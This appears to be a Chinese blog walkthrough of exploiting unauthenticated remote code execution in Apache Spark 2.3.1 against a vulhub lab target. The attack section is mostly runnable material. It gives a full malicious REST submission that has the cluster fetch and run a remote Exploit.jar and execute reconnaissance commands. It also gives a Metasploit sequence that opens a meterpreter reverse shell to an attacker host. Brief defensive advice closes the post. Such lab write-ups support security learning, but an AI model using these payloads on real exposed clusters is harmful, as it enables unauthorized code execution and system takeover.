一、介绍

  apache顶级项目,大规模数据处理计算引擎。为了方便的给使用者控制系统进行计算和查看任务结果,提供了WebUI图形化界面和相应的REST API方便用户操作。支持用户向管理节点提交应用,并分发给集群使用,如果管理节点未启用ACL(访问控制),我们便可在集群中执行任意代码。

二、环境搭建

  • 受害者IP:192.168.226.140(vulhub漏洞靶场、docker)

》》standalone模式启动一个Apache Spark集群
在这里插入图片描述
》》查看启动的端口服务
在这里插入图片描述
》》浏览器访问即可看到master管理页面:
在这里插入图片描述

三、攻击方法

3.1 信息收集

》》nmap扫描对方端口服务信息,如有以下端口开放可能存在漏洞
在这里插入图片描述
》》访问web,查看其版本(v2.3.1)
在这里插入图片描述

3.2 利用方法(方法一)

使用REST API方式提交应用(standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API恶意代码)

  • github地址:https://github.com/aRe00t/rce-over-spark
POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680

{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "2.3.1",
  "appArgs": [
    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
  ],
  "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://your-ip:6066"
  }
}

Tips:
目标:Host: your-ip:6066
版本:“clientSparkVersion”: “2.3.1”
执行的命令: “appArgs”: [" "]

》》构造好请求包使用发包工具发包即可
在这里插入图片描述
》》返回包中会返回submissionid
在这里插入图片描述
》》访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout,即可查看执行结果

3.2 利用方法(方法二)

使用Metasploit的exploit模块

  • kali:192.168.226.134

msf5> use exploit/linux/http/spark_unauth_rce
msf5> set payload java/meterpreter/reverse_tcp
msf5> set rhost 192.168.226.140
msf5> set rport 6066
msf5> set lhost 192.168.226.134
msf5> set lport 4444
msf5> set srvhost 192.168.226.134
msf5> set srvport 8080
msf5> exploit

(成功获得shell,查看对方IP信息)
在这里插入图片描述
》》可以在web端查看启动的作业
在这里插入图片描述

四、防御方法

  1. 限制网络访问(配置防火墙策略,禁止将端口映射到互联网,限制于内网内)
  2. 启用UI访问控制(通过spark.ui.filters设置启用javax servlet filters,通过 SSL 设置启用 HTTPS/SSL,保障 Spark UI 安全)
Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐